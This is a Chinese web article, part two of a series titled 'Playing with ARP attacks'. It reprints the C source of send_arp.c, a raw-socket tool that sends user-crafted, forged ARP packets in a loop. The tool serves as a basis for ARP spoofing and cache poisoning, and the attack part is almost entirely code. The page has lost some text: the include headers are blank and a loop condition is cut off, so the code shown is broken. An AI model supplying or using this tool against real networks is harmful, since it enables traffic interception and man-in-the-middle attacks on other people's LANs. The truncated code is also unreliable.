玩转ARP攻击(2)

来源:asp之家 时间:2009-12-24 09:53:00 

以下是send_arp.c的源程序


CODE:
           
/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. [email]volobuev@t1.chem.umn.edu[/email]
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}
void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}
void get_ip_addr (struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
bcopy(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}
void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}
           

标签:ARP攻击
0
投稿

猜你喜欢

  • CentOS 8.0.1905 安装 ZABBIX4.4版本 (已验证)

    2021-01-10 17:08:04
  • 从关键词分析看百度算法

    2009-09-14 19:11:00
  • 一名成功站长的十大要点

    2008-02-22 14:38:00
  • 新手站长快速通过网站备案注意细节

    2010-03-17 04:53:00
  • TM2009 Beta2.0稳定版本发布

    2009-10-15 17:03:00
  • 解决VMware中安装Centos7后无法ping通外网的问题

    2021-09-22 10:42:03
  • Godaddy主机如何购买额外的SMTP Relays

    2010-05-04 13:00:00
  • IIS无法启动:发生意外错误0x8ffe2740的原因

    2007-09-12 13:45:00
  • 最新IDEA快速实现Docker镜像部署运行的过程详解

    2022-02-26 10:41:02
  • 搜索引擎优化八个致命错误

    2009-01-15 10:01:00
  • 百度客服:峰哥,我知道为什么不收新站

    2007-12-17 12:55:00
  • Q3搜索广告市场首次正增长 实质性转机未到

    2009-10-16 08:40:00
  • Cyrus IMAP邮件服务器安装与配置(2)

    2007-08-14 15:42:00
  • 六个月来对怎么赚钱的验证总结

    2007-12-22 16:43:00
  • 如何在Discuz!7.0论坛中发布多媒体内容

    2009-07-12 19:07:00
  • Apache服务器实现301重定向详解

    2012-01-17 15:55:58
  • 打造绿色社区 论坛关键字屏蔽有窍门

    2009-02-05 16:24:00
  • Google与Baidu的SEO优化差异性

    2008-09-11 14:16:00
  • 利用QQ空间打造上万流量

    2009-10-30 00:21:00
  • 淘宝技术发展(个人网站)

    2012-03-05 20:09:03
  • asp之家 网站运营 m.aspxhome.com